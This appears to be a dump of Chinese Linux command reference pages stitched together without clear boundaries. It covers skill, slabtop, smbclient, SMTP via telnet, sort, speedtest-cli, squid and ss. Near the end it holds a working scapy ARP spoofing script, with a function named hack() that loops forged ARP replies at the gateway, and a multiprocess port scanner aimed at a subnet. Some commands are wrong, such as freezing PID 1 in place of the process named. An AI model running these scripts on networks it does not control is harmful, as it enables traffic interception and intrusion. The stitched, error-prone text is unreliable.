如果您发现了一个占用大量CPU和内存的进程,但又不想停止它,该怎么办?考虑下面的top命令输出:

```
top -c -p 16514
23:00:44  up 12 days,  2:04,  4 users,  load average: 0.47, 0.35, 0.31
1 processes: 1 sleeping, 0 running, 0 zombie, 0 stopped
CPU states:  cpu    user    nice  system    irq  softirq  iowait    idle
           total    0.0%    0.6%    8.7%   2.2%     0.0%   88.3%    0.0%
Mem:  1026912k av, 1010476k used,   16436k free,       0k shrd,   52128k buff
                    766724k actv,  143128k in_d,   14264k in_c
Swap: 2041192k av,   83160k used, 1958032k free                  799432k cached

  PID USER     PRI  NI  SIZE  RSS SHARE stat %CPU %MEM   time CPU command
16514 oracle    19   4 28796  26M 20252 D N   7.0  2.5   0:03   0 oraclePRODB2...
```

既然您确认进程16514占用了大量内存,您就可以使用skill命令“冻结”它,而不是停止它。

```
skill -STOP 1
```

之后,检查top输出:

```
23:01:11  up 12 days,  2:05,  4 users,  load average: 1.20, 0.54, 0.38
1 processes: 0 sleeping, 0 running, 0 zombie, 1 stopped
CPU states:  cpu    user    nice  system    irq  softirq  iowait    idle
           total    2.3%    0.0%    0.3%   0.0%     0.0%    2.3%   94.8%
Mem:  1026912k av, 1008756k used,   18156k free,       0k shrd,    3976k buff
                    770024k actv,  143496k in_d,   12876k in_c
Swap: 2041192k av,   83152k used, 1958040k free                  851200k cached

  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
16514 oracle    19   4 28796  26M 20252 T N   0.0  2.5   0:04   0 oraclePRODB2...
```

现在,CPU 从 0% 空闲变为 94% 空闲。该进程被有效冻结。过一段时间之后,您可能希望唤醒该进程:

```
skill -CONT 16514
```

如果希望暂时冻结进程以便为完成更重要的进程腾出空间,该方法非常有用。

此命令用途很广。如果您要停止 "oracle" 用户的所有进程,只需要一个命令即可实现:

```
skill -STOP oracle
```

可以使用用户、PID、命令或终端 id 作为参数。以下命令可停止所有 rman 命令。

```
skill -STOP rman
```

如您所见,skill 决定您输入的参数(进程 ID、用户 ID 或命令)并进行相应操作。这可能会导致在某些情况下出现这样的问题:您可能具有同名的用户和命令。最好的示例是 "oracle" 进程,通常由用户 "oracle" 运行。因此,当您希望停止名为 "oracle" 的进程时,可执行以下命令:

```
skill -STOP oracle
```

用户 "oracle" 的所有进程都停止,包括您可能要使用的会话。要非常明确地执行命令,您可以选择使用一个新参数指定参数的类型。要停止一个名为 oracle 的命令,可执行以下命令:

```
skill -STOP -c oracle
```

snice命令的功能与skill类似。但它用于降低进程的优先级,而不是停止进程。首先,检查 top 输出:

```
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
    3 root      15   0     0    0     0 RW    0.0  0.0   0:00   0 kapmd
13680 oracle    15   0 11336  10M  8820 T     0.0  1.0   0:00   0 oracle
13683 oracle    15   0  9972 9608  7788 T     0.0  0.9   0:00   0 oracle
13686 oracle    15   0  9860 9496  7676 T     0.0  0.9   0:00   0 oracle
13689 oracle    15   0 10004 9640  7820 T     0.0  0.9   0:00   0 oracle
13695 oracle    15   0  9984 9620  7800 T     0.0  0.9   0:00   0 oracle
13698 oracle    15   0 10064 9700  7884 T     0.0  0.9   0:00   0 oracle
13701 oracle    15   0 22204  21M 16940 T     0.0  2.1   0:00   0 oracle
```

现在,将 "oracle" 进程的优先级降低四个点。注意,该值越高,优先级越低。

```
snice +4 -u oracle
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
16894 oracle    20   4 38904  32M 26248 D N   5.5  3.2   0:01   0 oracle
```

注意,NI 列(nice 值)现在是 4,优先级现在设置为 20,而不是 15。这对于降低优先级非常有帮助。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* ''Description'': If set to 1 (0 is the default), only IP addresses are used for connections. Host names are not resolved. All host values in the GRANT tables must be IP addresses (or localhost).
* ''Commandline'': --skip-name-resolve
* ''Scope'': Global
* ''Dynamic'': No
* ''Data Type'': boolean
* ''Default Value'': 0
* ''Description'': If set to 1, (0 is the default), the server does not listen for TCP/IP connections. All interaction with the server by be through socket files (Unix) or named pipes or shared memory (Windows). It's recommended to use this option if only local clients are permitted to connect to the server. Enabling this option also prevents a server from functioning as a replication client.

* ''Commandline'': --skip-networking

* ''Scope'': Global

* ''Dynamic'': No

* ''Data Type'': boolean

* ''Default Value'': 0
!!简介
:<div>
slabtop
===

实时显示内核slab内存缓存信息

</div>

!! 补充说明

:<div>


"slabtop命令" 以实时的方式显示内核“slab”缓冲区的细节信息。

</div>

!! 语法  

:<div>


```
slabtop(选项)
```

</div>

!! 选项  

:<div>


```
--delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒;
--sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册);
--once, -o:显示一次后退出;
--version, -V:显示版本;
--help:显示帮助信息。
```

排序标准:

*   a: sort by number of active objects
*   b: sort by objects per slab
*   c: sort by cache size
*   l: sort by number of slabs
*   v:sort by number of active slabs
*   n: sort by name
*   o: sort by number of objects
*   p: sort by pages per slab
*   s: sort by object size
*   u: sort by cache utilization

</div>

!! 知识扩展  

:<div>


内核的模块在分配资源的时候,为了提高效率和资源的利用率,都是透过slab来分配的。通过slab的信息,再配合源码能粗粗了解系统的运行情况,比如说什么资源有没有不正常的多,或者什么资源有没有泄漏。linux系统透过/proc/slabinfo来向用户暴露slab的使用情况。

Linux 所使用的 slab 分配器的基础是 Jeff Bonwick 为 SunOS 操作系统首次引入的一种算法。Jeff 的分配器是围绕对象缓存进行的。在内核中,会为有限的对象集(例如文件描述符和其他常见结构)分配大量内存。Jeff 发现对内核中普通对象进行初始化所需的时间超过了对其进行分配和释放所需的时间。因此他的结论是不应该将内存释放回一个全局的内存池,而是将内存保持为针对特定目而初始化的状态。Linux slab 分配器使用了这种思想和其他一些思想来构建一个在空间和时间上都具有高效性的内存分配器。

保存着监视系统中所有活动的 slab 缓存的信息的文件为/proc/slabinfo。

</div>

!! 实例  

:<div>


```
slabtop

 Active / Total Objects (% used)    : 897519 / 1245930 (72.0%)
 Active / Total Slabs (% used)      : 38605 / 38605 (100.0%)
 Active / Total Caches (% used)     : 94 / 145 (64.8%)
 Active / Total Size (% used)       : 129558.22K / 153432.58K (84.4%)
 Minimum / Average / Maximum Object : 0.01K / 0.12K / 128.00K

  OBJS ACTIVE  USE OBJ SIZE  SLABS OBJ/SLAB CACHE SIZE NAME                   
440136 171471  38%    0.05K   6113       72     24452K buffer_head
190086 148576  78%    0.05K   2437       78      9748K selinux_inode_security
151840 146366  96%    0.48K  18980        8     75920K ext3_inode_cache
144333 144143  99%    0.02K    711      203      2844K avtab_node
130529 128488  98%    0.13K   4501       29     18004K dentry_cache
 99214  99071  99%    0.03K    878      113      3512K size-32
 43834  28475  64%    0.27K   3131       14     12524K radix_tree_node
 17818   9450  53%    0.06K    302       59      1208K size-64
  4602   4562  99%    0.05K     59       78       236K sysfs_dir_cache
  3220   2855  88%    0.08K     70       46       280K vm_area_struct
  2460   2114  85%    0.12K     82       30       328K size-128
  1564   1461  93%    0.04K     17       92        68K Acpi-Operand
  1540   1540 100%    0.33K    140       11       560K inode_cache
  1524    466  30%    0.01K      6      254        24K anon_vma
  1440    515  35%    0.05K     20       72        80K avc_node
  1440   1154  80%    0.19K     72       20       288K filp
  1170   1023  87%    0.05K     15       78        60K ext3_xattr
   845    724  85%    0.02K      5      169        20K Acpi-Namespace
   638    315  49%    0.35K     58       11       232K proc_inode_cache
   450    434  96%    0.25K     30       15       120K size-256
   424    386  91%    0.50K     53        8       212K size-512
   312    107  34%    0.05K      4       78        16K delayacct_cache
   306    284  92%    0.43K     34        9       136K shmem_inode_cache
   303    108  35%    0.04K      3      101        12K pid
   300    261  87%    0.19K     15       20        60K skbuff_head_cache
   300    300 100%    0.12K     10       30        40K bio
   260    260 100%   32.00K    260        1      8320K size-32768
   254      6   2%    0.01K      1      254         4K revoke_table
   236     55  23%    0.06K      4       59        16K fs_cache
   216    203  93%    1.00K     54        4       216K size-1024
   214    214 100%    2.00K    107        2       428K size-2048
   203     83  40%    0.02K      1      203         4K biovec-1
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
sleep
===

将目前动作延迟一段时间

</div>

!! 补充说明

:<div>


"sleep命令" 暂停指定的时间。

</div>

!! 语法  

:<div>


```
sleep(参数)
```

</div>

!! 参数  

:<div>


时间:指定要暂停时间的长度。

时间长度,后面可接 s、m、h 或 d,其中 s 为秒,m 为 分钟,h 为小时,d 为日数。

</div>

!! 实例  

:<div>


有时在写一些以循环方式运行的监控脚本,设置时间间隔是必不可少的,下面是一个Shell进度条的脚本演示在脚本中生成延时。

```
#!/bin/bash

b=''
for ((i=0;$i<=100;i++))
 do
 printf "Progress:[%-100s]%d%%\r" $b $i
 sleep 0.1
 b=#$b
 done
echo
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
slocate
===

命令查找文件或目录

</div>

!! 补充说明

:<div>


"slocate命令" 是一个命令查找文件或目录。slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。

</div>

!! 语法  

:<div>


```
slocate [-u][--help][--version][-d <目录>][查找的文件]
```

</div>

!! 选项  

:<div>


```
-d<目录>或--database=<目录>  指定数据库所在的目录。
-u  更新slocate数据库。
--help  显示帮助。
--version  显示版本信息。
```

</div>

!! 实例

:<div>


使用指令"slocate"显示文件名中含有关键字"fdisk"的文件路径信息,输入如下命令:

```
$ slocate fdisk #显示文件名中含有fdisk关键字的文件的路径信息 
```

执行以上命令后,指令执行的输出信息如下:

```
$ slocate fdisk #显示文件名中含有fdisk 关键字的文件的路径信息  
/root/cfdisk        #搜索到的文件路径列表  
/root/fdisk  
/root/sfdisk  
/usr/include/grub/ieee1275/ofdisk.h  
/usr/share/doc/util-Linux/README.cfdisk  
/usr/share/doc/util-Linux/README.fdisk.gz  
/usr/share/doc/util-Linux/examples/sfdisk.examples.gz  
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
smbclient
===

交互方式访问samba服务器

</div>

!! 补充说明

:<div>


"smbclient命令" 属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源。

</div>

!! 语法  

:<div>


```
smbclient(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-B<ip地址>:传送广播数据包时所用的IP地址;
-d<排错层级>:指定记录文件所记载事件的详细程度;
-E:将信息送到标准错误输出设备;
-h:显示帮助;
-i<范围>:设置NetBIOS名称范围;
-I<IP地址>:指定服务器的IP地址;
-l<记录文件>:指定记录文件的名称;
-L:显示服务器端所分享出来的所有资源;
-M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机;
-n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称;
-N:不用询问密码;
-O<连接槽选项>:设置用户端TCP连接槽的选项;
-p<TCP连接端口>:指定服务器端TCP连接端口编号;
-R<名称解析顺序>:设置NetBIOS名称解析的顺序;
-s<目录>:指定smb.conf所在的目录;
-t<服务器字码>:设置用何种字符码来解析服务器端的文件名称;
-T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件;
-U<用户名称>:指定用户名称;
-w<工作群组>:指定工作群组名称。
```

</div>

!! 参数  

:<div>


smb服务器:指定要连接的smb服务器。

</div>

!! 实例  

:<div>


 "列出某个IP地址所提供的共享文件夹" 

```
smbclient -L 198.168.0.1 -U username%password
```

 "像ftp客户端一样使用smbclient" 

```
smbclient //192.168.0.1/tmp  -U username%password
```

执行smbclient命令成功后,进入smbclient环境,出现提示符:`smb:/>`

这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。

 "直接一次性使用smbclient命令" 

```
smbclient -c "ls"  //192.168.0.1/tmp  -U username%password
```

和

```
smbclient //192.168.0.1/tmp  -U username%password
smb:/>ls
```

功能一样的。

 "创建一个共享文件夹" 

```
smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password
```

如果用户共享`//192.168.0.1/tmp`的方式是只读的,会提示`NT_STATUS_ACCESS_DENIED making remote directory /share1`


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
smbpasswd
===

samba用户和密码管理工具

</div>

!! 补充说明

:<div>


"smbpasswd命令" 属于samba套件,能够实现添加或删除samba用户和为用户修改密码。

</div>

!! 语法  

:<div>


```
smbpasswd(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:向smbpasswd文件中添加用户;
-c:指定samba的配置文件;
-x:从smbpasswd文件中删除用户;
-d:在smbpasswd文件中禁用指定的用户;
-e:在smbpasswd文件中激活指定的用户;
-n:将指定的用户的密码置空。
```

</div>

!! 参数  

:<div>


用户名:指定要修改SMB密码的用户。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* SMTP的基本命令集:
:<div>

|!指令      |!描述                                                                                   |
|HELO		|向服务器标识用户身份.发送者能欺骗,说谎,但一般情况下服务器都能检测到.                    |
|EHLO		|向服务器标识用户身份.发送者能欺骗,说谎,但一般情况下服务器都能检测到.                    |
|MAIL FROM	|命令中指定的地址是发件人地址                                                            |
|RCPT TO	|标识单个的邮件接收人;可有多个 RCPT TO;常在 MAIL 命令后面.                               |
|DATA		|在单个或多个 RCPT 命令后,表示所有的邮件接收人已标识,并初始化数据传输,以 CRLF.CRLF 结束  |
|VRFY		|用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令                   |
|EXPN		|验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用                                      |
|HELP		|查询服务器支持什么命令                                                                  |
|NOOP		|无操作,服务器应响应 OK                                                                  |
|RSET		|重置会话,当前传输被取消                                                                 |
|QUIT		|结束会话                                                                                |
</div>


* 状态码说明:
:<div>

|!指令|!描述 |
|220 |服务就绪 |
|250 |请求邮件动作正确,完成(HELO,MAIL FROM,RCPT TO,QUIT 指令执行成功会返回此信息)|
|235 |认证通过                                                                      |
|221 |正在处理                                                                      |
|354 |开始发送数据,结束以 .(DATA指令执行成功会返回此信息)                       |
|500 |语法错误,命令不能识别                                                        |
|550 |命令不能执行,邮箱无效                                                        |
|552 |中断处理:用户超出文件空间                                                    |
</div>


* telnet
:<div>

```
   1.确认电脑打开了Telnet的功能,在控制面板->程序->程序和功能->打开或关闭windows功能,勾选Telnet客户端。
   2.进入cmd命令行,输入Telnet
   3.输入 o smtp.qq.com 25  #此处o是open的缩写,以QQ邮箱为例,25表示SMTP服务器时刻监听的端口号,登录SMTP服务器
   4.输入HELO hiboy         #HELO表示向服务器打招呼,后面内容不限
   5.服务器返回 250 smtp.qq.com      #表示认可了你的身份
   6.输入auth login         #告诉服务器你要登录
   7.服务器返回334 VXN1cm5hbWU6 #这一串字符串表示“Username:”这是base64码
   8.输入账户11111111@qq.com对应的base64码
   9.输入密码对应的base64码
   10.服务器返回235 Authentication successful  #表明身份认证成功可以发邮件了
   11.输入mail from:<11111111@qq.com>   #表明发信人地址
   12.服务器返回250 mail ok
   13.输入rcpt to:<8888888@qq.com>      #表明收件人地址
   14.服务器返回250 mail ok
   15.输入data开始输入邮件内容
   16.from:xxx      #表示发件人
   17.to:xxxx        #表示收件人,可以有多个
   18.subject:xxxxxxx  #输入邮件主题,需要空格一行才开始输入19正文
   19.you are a good boy 
   20.回车以"."结束
   21.服务器返回250 mail ok queued as  #表示放入队列中了等待发送,这时候收件人就能收到了。楼主实验的时候收到了但是被腾讯给屏蔽了,看不到内容。
   22.quit断开连接
   23.221 Bye
```
</div>

* exp<pre>

```bash

# 按human size排序
#  -h, --human-numeric-sort    compare human readable numbers (e.g., 2K 1G)
ls -F -thls /etc | grep -v /$| sort -k 6 -rh
du -h /etc | sort -rh


```
</pre>


* help<pre>
”-t” : 表示以那个字符做分割
“-k” :和-t结合使用,表示取那一段为关键字进行排序,后面跟数据,1…n,表示取第几段,也可以是范围如1,3,表示将第1段到第3段作为一个整体来排序
“-n” :以数字进行排序
“-r” :倒序



```bash

Usage: sort [OPTION]... [FILE]...
  or:  sort [OPTION]... --files0-from=F
Write sorted concatenation of all FILE(s) to standard output.

Mandatory arguments to long options are mandatory for short options too.
Ordering options:

  -b, --ignore-leading-blanks  ignore leading blanks
  -d, --dictionary-order      consider only blanks and alphanumeric characters
  -f, --ignore-case           fold lower case to upper case characters
  -g, --general-numeric-sort  compare according to general numerical value
  -i, --ignore-nonprinting    consider only printable characters
  -M, --month-sort            compare (unknown) < 'JAN' < ... < 'DEC'
  -h, --human-numeric-sort    compare human readable numbers (e.g., 2K 1G)
  -n, --numeric-sort          compare according to string numerical value
  -R, --random-sort           sort by random hash of keys
      --random-source=FILE    get random bytes from FILE
  -r, --reverse               reverse the result of comparisons
      --sort=WORD             sort according to WORD:
                                general-numeric -g, human-numeric -h, month -M,
                                numeric -n, random -R, version -V
  -V, --version-sort          natural sort of (version) numbers within text

Other options:

      --batch-size=NMERGE   merge at most NMERGE inputs at once;
                            for more use temp files
  -c, --check, --check=diagnose-first  check for sorted input; do not sort
  -C, --check=quiet, --check=silent  like -c, but do not report first bad line
      --compress-program=PROG  compress temporaries with PROG;
                              decompress them with PROG -d
      --debug               annotate the part of the line used to sort,
                              and warn about questionable usage to stderr
      --files0-from=F       read input from the files specified by
                            NUL-terminated names in file F;
                            If F is - then read names from standard input
  -k, --key=KEYDEF          sort via a key; KEYDEF gives location and type
  -m, --merge               merge already sorted files; do not sort
  -o, --output=FILE         write result to FILE instead of standard output
  -s, --stable              stabilize sort by disabling last-resort comparison
  -S, --buffer-size=SIZE    use SIZE for main memory buffer
  -t, --field-separator=SEP  use SEP instead of non-blank to blank transition
  -T, --temporary-directory=DIR  use DIR for temporaries, not $TMPDIR or /tmp;
                              multiple options specify multiple directories
      --parallel=N          change the number of sorts run concurrently to N
  -u, --unique              with -c, check for strict ordering;
                              without -c, output only the first of an equal run
  -z, --zero-terminated     end lines with 0 byte, not newline
      --help     display this help and exit
      --version  output version information and exit

KEYDEF is F[.C][OPTS][,F[.C][OPTS]] for start and stop position, where F is a
field number and C a character position in the field; both are origin 1, and
the stop position defaults to the line s end.  If neither -t nor -b is in
effect, characters in a field are counted from the beginning of the preceding
whitespace.  OPTS is one or more single-letter ordering options [bdfgiMhnRrV],
which override global ordering options for that key.  If no key is given, use
the entire line as the key.

SIZE may be followed by the following multiplicative suffixes:
% 1% of memory, b 1, K 1024 (default), and so on for M, G, T, P, E, Z, Y.

With no FILE, or when FILE is -, read standard input.

*** WARNING ***
The locale specified by the environment affects sort order.
Set LC_ALL=C to get the traditional sort order that uses
native byte values.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'sort invocation'
```
</pre>
;将文件中的变量引入到当前shell环境中
!!简介
:<div>
speedtest-cli
===

命令行下测试服务器外网速度

</div>

!! 补充说明

:<div>


"speedtest-cli" 是一个使用python编写的命令行脚本,通过调用speedtest.net测试上下行的接口来完成速度测试,最后我会测试运维生存时间所在服务器的外网速度。项目地址:https://github.com/sivel/speedtest-cli

</div>

!! 安装speedtest-cli  

:<div>


speedtest-cli需要在python 2.4-3.4的环境下,安装方法都很简单,自己选择以下最适合你的一种。

 "pip方式" 

```
# pip install speedtest-cli
```

 "easy_install方式" 

```
# easy_install speedtest-cli
```

 "github+pip方式" 

```
# pip install git+https://github.com/sivel/speedtest-cli.git
```

或者

```
# git clone https://github.com/sivel/speedtest-cli.git
# python speedtest-cli/setup.py install
```

 "下载脚本方式" 

```
# wget -O speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
# chmod +x speedtest-cli
```

或者

```
# curl -o speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
# chmod +x speedtest-cli
```

直接下载脚本,给予执行权限即可。

</div>

!! 用法  

:<div>


```
-h, --help       show this help message and exit
--share          分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片。
--simple         Suppress verbose output, only show basic information
--list           根据距离显示speedtest.net的测试服务器列表。
--server=SERVER  指定列表中id的服务器来做测试。
--mini=MINI      URL of the Speedtest Mini server
--source=SOURCE  Source ip address to bind to
--version        Show the version number and exit
```

</div>

!! 实例  

:<div>


列出所有在中国的测试服务器:

```
[root@li229-122 ~]# speedtest-cli --list | grep China
1185) China Unicom (Changchun, China) [10534.35 km]
3784) China Mobile (Urumqi, China) [10581.15 km]
2667) Beijing Normal University (Beijing, China) [11117.03 km]
2529) Beijing Normal University (Beijing, China) [11117.03 km]
2816) Capital Online Data service (Beijing, China) [11117.03 km]
4354) SXmobile (Taiyuan, China) [11383.17 km]
3973) China Telecom (Lanzhou, China) [11615.43 km]
3633) China Telecom (Shanghai, China) [11983.37 km]
3927) China Mobile Jiangsu Co., Ltd. (Suzhou, China) [11989.27 km]
2461) China Unicom (Chengdu, China) [12213.35 km]
1028) Shepherd Software (Xiamen, China) [12785.57 km]
1628) Xiamen Guangdian Xinxu (Xiamen, China) [12785.57 km]
3891) GZinternet (Guangzhou, China) [13005.36 km]
3871) SZWCDMA (Shenzhen, China) [13059.20 km]
3819) SZU (Shenzhen, China) [13059.20 km]
1536) STC (Hong Kong, China) [13088.37 km]
1890) Telin (Hong Kong, China) [13088.37 km]
```

 "结果解释" 

```
3633) China Telecom (Shanghai, China) [11983.37 km]
```

```
3633: 服务器id
china telecom:isp,这里是中国电信
shanghai,china :服务器所在地址
11983.37 km:两台服务器地理位置之间距离,我这台机器在美国,和上海相距11983.37公里,很远呐.
```

 "外网速度测试" 

```
[root@li229-122 ~]# speedtest-cli --server=3633 --share
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from Linode (173.255.219.122)...
Hosted by China Telecom (Shanghai) [11983.37 km]: 23.603 ms
Testing download speed........................................
Download: 24.84 Mbit/s
Testing upload speed..................................................
Upload: 4.57 Mbit/s
Share results: http://www.speedtest.net/result/3240988007.png
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
spell
===

对文件进行拼写检查

</div>

!! 补充说明

:<div>


"spell命令" 对文件进行拼写检查,并把拼写错误的单词输出。

</div>

!! 语法  

:<div>


```
spell(参数)
```

</div>

!! 参数  

:<div>


文件:指定需要进行拼写检查的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!简介 
:<div>

```
split命令可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等。
```
</div>


!选项 
:<div>

```
-b: 值为每一输出档案的大小,单位为 byte。
-C:每一输出档中,单行的最大 byte 数。
-d:使用数字作为后缀。
-l: 根据行数分割
```
</div>

{{bash_head}}

```
[root@hs01 ~]# sqlite3 ip.sqlite.db 

sqlite> .sch
CREATE TABLE iplog
(   
    datetime text NOT NULL,
    ip text NOT NULL
);

CREATE TABLE runlog(datetime TEXT,ip TEXT);

.quit
```

```bash
function exec_sql(){
    sql=$1
    sqlite3 /root/.bin/ip_sql.db << EOF
${sql}
.quit
EOF
}

function get_last_ip(){
    exec_sql "select ip from iplog order by datetime desc limit 0,1;"
}


function insert_cur_ip(){
    local cur_ip=$2
    local table=$1
    exec_sql "insert into '${table}' values(datetime(CURRENT_TIMESTAMP,'localtime'),'${cur_ip}');"
}

function log_ip(){
    local cur_ip=`curl -s ifconfig.me`
    [ -z "${cur_ip}" ] && return 1
    echo $cur_ip
    local last_ip=`get_last_ip`
    if [ "${cur_ip}" != "${last_ip}" ];then
        insert_cur_ip "iplog" "${cur_ip}"
    else
        insert_cur_ip "runlog" "${cur_ip}"
    fi
}

function main(){
    log_ip
}

main
```
!!简介
:<div>
squid
===

squid服务器守护进程

</div>

!! 补充说明

:<div>


"squid命令" 高性能的Web客户端代理缓存服务器套件“squid”的服务器守护进程。

</div>

!! 语法  

:<div>


```
squid(选项)
```

</div>

!! 选项  

:<div>


```
-d:将指定调试等级的信息发送到标准错误设备;
-f:使用指定的配置文件。而不使用默认配置文件;
-k:向squid服务器发送指令;
-s:启用syslog日志;
-z:创建缓存目录;
-C:不捕获致命信号;
-D:不进行DNS参数测试;
-N:以非守护进程模式运行;
-X:强制进入完全调试模式。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
squidclient
===

squid服务器的客户端管理工具

</div>

!! 补充说明

:<div>


"squidclient命令" 使用squid服务器的客户端管理工具,它可以查看squid服务器的详细运行信息和管理squid服务器。

</div>

!! 语法  

:<div>


```
squidclient(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:不包含“accept:header”;
-r:强制缓存重新加载URL;
-s:安静模式,不输出信息到标准输出设备;
-h:从指定主机获取url
-l:指定一个本地ip地址进行绑定;
-p:端口号,默认为3128;
-m:指定发送请求的方法;
-u:代理认证用户名。
```

</div>

!! 参数  

:<div>


URL:指定操作缓存中的URL。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
sudo pip install scapy
```



```python
#coding:utf-8
#example :sudo  python arp
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]

def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()

```
```python
#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否
#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing

def ports(ports_serve):
    #获取常用端口对应的服务名称
    for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
        try:
            ports_serve[port]=socket.getservbyport(port)
        except socket.error:
            pass

def ports_scan(host,ports_service):
    ports_open=[]
    try:
        sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        #超时时间的不同会影响扫描结果的精确度
        socket.timeout(0.01)
    except socket.error:
        print('socket creation error')
        sys.exit()
    for port in ports_service:
        try:
            #尝试连接指定端口
            sock.connect((host,port))
            #记录打开的端口
            ports_open.append(port)
            sock.close()
        except socket.error:
            pass
    return ports_open

if __name__ == '__main__':
    m=multiprocessing.Manager()
    ports_service=dict()
    results=dict()
    ports(ports_service)
    #创建进程池,允许最多8个进程同时运行
    pool = multiprocessing.Pool(processes=8)
    net = '10.2.1.'
    for host_number in map(str,range(8,10)):
        host = net + host_number
        #创建一个新进程,同时记录其运行结果
        results[host] = pool.apply_async(ports_scan,(host,ports_service))
        print('starting '+host+'...')
    #关闭进程池,close()必须在join()之前调用
    pool.close()
    #等待进程池中的进程全部执行结束
    pool.join()

    #打印输出结果
    for host in results:
        print('='*30)
        print(host,'.'*10)
        for port in results[host].get():
            print(port,':',ports_service[port])

#Python扩展库netaddr提供了大量可以处理网络地址的类和对象,例如netaddr.valid_ipv4(addr)可以判断addr时否为合法IPv4地址
#netaddr.IPNetwork('10.2.1.0/24')和netaddr.IPRange('10.2.1.0','10.2.1.255')都可以用来生成包含介于10.2.1.0到10.2.1.255之间的IP地址的迭代对象。
```
* exp<pre>

```bash
# Utility to investigate sockets
#
# Options:
#   -4/-6   list ipv4/ipv6 sockets
#   -n      numeric addresses instead of hostnames
#   -l      list listening sockets
#   -u/-t/-x list udp/tcp/unix sockets
#   -p      Show process(es) that using socket

# show all listening tcp sockets including the corresponding process
ss -tlp

# show all sockets connecting to 192.168.2.1 on port 80
ss -t dst 192.168.2.1:80

# show all ssh related connection
# documentation on the filter syntax: sudo apt-get install iproute2-doc
ss -t state established '( dport = :ssh or sport = :ssh )'

# Display timer information
ss -tn -o

# Filtering connections by tcp state
ss -t4 state established

#显示TCP连接 
ss -t -a

#显示 Sockets 摘要
ss -s

#列出所有打开的网络连接端口  
ss -l

#查看进程使用的socket 
ss -pl

#找出打开套接字/端口应用程序 
ss -lp | grep 3306

#显示所有UDP Sockets 
ss -u -a

#显示所有状态为established的SMTP连接 


ss -o state established '( dport = :smtp or sport = :smtp )' 

#显示所有状态为Established的HTTP连接 


ss -o state established '( dport = :http or sport = :http )' 

#列举出处于 FIN-WAIT-1状态的源端口为 80或者 443,目标网络为 193.233.7/24所有 tcp套接字 


ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 193.233.7/24

#用TCP 状态过滤Sockets: 


ss -4 state FILTER-NAME-HERE 
ss -6 state FILTER-NAME-HERE

说明#

FILTER-NAME-HERE 可以代表以下任何一个# 
established 
syn-sent 
syn-recv 
fin-wait-1 
fin-wait-2 
time-wait 
closed 
close-wait 
last-ack 
listen 
closing 
all : 所有以上状态 
connected : 除了listen and closed的所有状态 
synchronized :所有已连接的状态除了syn-sent 
bucket : 显示状态为maintained as minisockets,如#time-wait和syn-recv. 
big : 和bucket相反.

#匹配远程地址和端口号 


ss dst ADDRESS_PATTERN
ss dst 192.168.1.5
ss dst 192.168.119.113:http 
ss dst 192.168.119.113:smtp 
ss dst 192.168.119.113:443


ss dst 192.168.119.113
ss dst 192.168.119.113:http
ss dst 192.168.119.113:3844

